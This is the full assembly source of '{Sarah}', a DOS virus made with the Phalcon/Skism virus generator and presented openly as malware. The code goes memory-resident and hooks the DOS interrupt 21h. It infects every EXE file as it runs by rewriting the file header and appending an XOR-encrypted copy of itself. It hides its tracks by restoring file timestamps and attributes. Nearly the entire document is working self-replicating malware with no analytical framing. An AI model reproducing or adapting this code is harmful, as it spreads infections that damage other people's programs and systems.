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; sarah.asm : {Sarah} by Gehenna
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; Created wik the Phalcon/Skism Mass-Produced Code Generator
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; from the configuration file sarah.cfg
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.model tiny ; Handy directive
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.code ; Virus code segment
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org 0 ; For easy calculation of offsets
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id = 'EF' ; ID word for EXE infections
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startvirus:
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decrypt: ; handles encryption and decryption
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patch_startencrypt:
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mov bx,offset startencrypt ; start of decryption
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mov si,(offset heap - offset startencrypt)/2 ; iterations
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decrypt_loop:
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db 2eh,81h,37h ; xor word ptr cs:[bx], xxxx
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decrypt_value dw 0 ; initialised at zero for null effect
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inc bx ; calculate new decryption location
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inc bx
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dec si ; If we are not done, then
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jnz decrypt_loop ; decrypt mo'
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startencrypt:
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call next ; calculate delta offset
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next: pop bp ; bp = IP next
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sub bp,offset next ; bp = delta offset
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push ds
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push es
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mov ax,'DA' ; Installation check
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int 21h
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cmp ax,'PS' ; Already installed?
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jz done_install
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mov ax, es ; Get PSP
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dec ax
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mov ds, ax ; Get MCB
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sub word ptr ds:[3],(endheap-startvirus+15)/16+1
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sub word ptr ds:[12h],(endheap-startvirus+15)/16+1
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mov ax,ds:[12h]
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mov ds, ax
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inc ax
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mov es, ax
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mov byte ptr ds:[0],'Z' ; Mark end of chain
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mov word ptr ds:[1],8 ; Mark owner = DOS
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mov word ptr ds:[3],(endheap-startvirus+15)/16 ; Set size
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push cs
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pop ds
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xor di,di ; Destination
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mov cx,(heap-startvirus)/2+1 ; Bytes to zopy
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mov si,bp ; lea si,[bp+offset startvirus]
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rep movsw
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mov di,offset encrypt
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mov si,bp ; lea si,[bp+offset startvirus]
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mov cx,startencrypt-decrypt
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rep movsb
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mov al,0c3h ; retn
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stosb
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xor ax,ax
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mov ds,ax
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push ds
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lds ax,ds:[21h*4] ; Get old int handler
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mov word ptr es:oldint21, ax
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mov word ptr es:oldint21+2, ds
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pop ds
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mov word ptr ds:[21h*4], offset int21 ; Replace with new handler
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mov ds:[21h*4+2], es ; in high memory
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done_install:
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pop es
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pop ds
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mov ax,es ; AX = PSP segment
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add ax,10h ; Adjust for PSP
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add word ptr cs:[bp+oldCSIP+2],ax
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add ax,word ptr cs:[bp+oldSSSP+2]
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cli ; Clear intrpts for stack manipulation
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mov sp,word ptr cs:[bp+oldSSSP]
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mov ss,ax
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sti
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db 0eah ; jmp ssss:oooo
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oldCSIP dd 0fff00000h ; Needed for carrier file
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oldSSSP dd ? ; Original SS:SP
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virus db '{Sarah}',0
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author db '<Gehenna>',0
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int21: ; New interrupt handler
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cmp ax,'DA' ; Installation check?
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jnz notinstall
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mov ax,'PS'
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iret
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notinstall:
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pushf
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push ax
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push bx
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push cx
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push dx
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push si
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push di ; don't need to save bp
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push ds
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push es
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cmp ax,4b00h ; Infect on execute
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jz infectDSDX
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exithandler:
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pop es
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pop ds
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pop di
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pop si
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pop dx
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pop cx
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pop bx
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pop ax
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popf
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db 0eah ; JMP SSSS:OOOO
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oldint21 dd ? ; Go to orig handler
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infectDSDX:
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mov ax,4300h
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int 21h
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push ds
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push dx
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push cx ; Save attributes
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xor cx,cx ; Clear attributes
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call attributes ; Set file attributes
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mov ax,3d02h ; Open read/write
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int 21h
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xchg ax,bx
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mov ax,5700h ; Get creation date/time
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int 21h
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push cx ; Save date and
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push dx ; time
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push cs ; DS = CS
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pop ds
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push cs ; ES = CS
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pop es
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mov ah,3fh ; Read file to buffer
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mov dx,offset buffer ; @ DS:DX
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mov cx,1Ah ; 1Ah bytes
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int 21h
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mov ax,4202h ; Go to end of file
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xor cx,cx
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cwd
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int 21h
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mov word ptr filesize,ax
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mov word ptr filesize+2,dx
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checkEXE:
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cmp word ptr buffer+10h,id ; is it already infected?
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jnz infect_exe
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done_file:
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mov ax,5701h ; Restore creation date/time
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pop dx ; Restore date and
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pop cx ; time
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int 21h
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mov ah,3eh ; Close file
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int 21h
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pop cx
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pop dx
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pop ds ; Restore filename
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call attributes ; attributes
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jmp exithandler
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infect_exe:
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mov cx, 1ah
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push cx
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push bx ; Save file handle
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les ax,dword ptr buffer+14h ; Save old entry point
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mov word ptr oldCSIP, ax
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mov word ptr oldCSIP+2, es
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les ax,dword ptr buffer+0Eh ; Save old stack
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mov word ptr oldSSSP,es
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mov word ptr oldSSSP+2,ax
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mov ax,word ptr buffer+8 ; Get header size
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mov cl, 4 ; convert to bytes
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shl ax, cl
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xchg ax, bx
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les ax,dword ptr filesize ; Get file size
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mov dx, es ; to DX:AX
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push ax
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push dx
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sub ax, bx ; Subtract header size from
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sbb dx, 0 ; file size
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mov cx, 10h ; Convert to segment:offset
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div cx ; form
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mov word ptr buffer+14h, dx ; New entry point
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mov word ptr buffer+16h, ax
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mov word ptr buffer+0Eh, ax ; and stack
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mov word ptr buffer+10h, id
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pop dx ; get file length
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pop ax
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pop bx ; Restore file handle
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add ax, heap-startvirus ; add virus size
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adc dx, 0
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mov cl, 9
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push ax
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shr ax, cl
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ror dx, cl
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stc
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adc dx, ax
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pop ax
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and ah, 1 ; mod 512
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mov word ptr buffer+4, dx ; new file size
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mov word ptr buffer+2, ax
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push cs ; restore ES
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pop es
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mov ax,word ptr buffer+14h ; needed later
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finishinfection:
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add ax,offset startencrypt-offset decrypt
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mov word ptr encrypt+(patch_startencrypt-startvirus)+1,ax
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get_encrypt_value:
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mov ah,2ch ; Get current time
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int 21h ; dh=sec,dl=1/100 sec
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or dx,dx ; Check if encryption value = 0
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jz get_encrypt_value ; Get another if it is
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mov word ptr encrypt+(decrypt_value-startvirus),dx ; New encrypt. value
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xor si,si ; copy virus to buffer
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mov di,offset zopystuff
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mov cx,heap-startvirus
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rep movsb
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mov si,offset encrypt ; copy encryption function
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mov di,offset zopystuff
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mov cx,startencrypt-decrypt
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rep movsb
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mov word ptr [encrypt+(patch_startencrypt-startvirus)+1],offset zopystuff+(startencrypt-decrypt)
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push bx
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call encrypt
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pop bx
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mov ah,40h ; Concatenate virus
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mov dx,offset zopystuff
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mov cx,heap-startvirus ; # bytes to write
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int 21h
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mov ax,4200h ; Move file pointer
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xor cx,cx ; to beginning of file
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cwd ; xor dx,dx
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int 21h
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mov ah,40h ; Write to file
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mov dx,offset buffer ; Write from buffer
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pop cx ; cx bytes
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int 21h
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jmp done_file
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attributes:
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mov ax,4301h ; Set attributes to cx
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int 21h
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ret
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heap: ; Variables not in code
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filesize dd ?
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encrypt: db startencrypt-decrypt+1 dup (?)
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zopystuff db heap-startvirus dup (?) ; Encryption buffer
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buffer db 1ah dup (?) ; read buffer
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endheap: ; End of virus
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end startvirus
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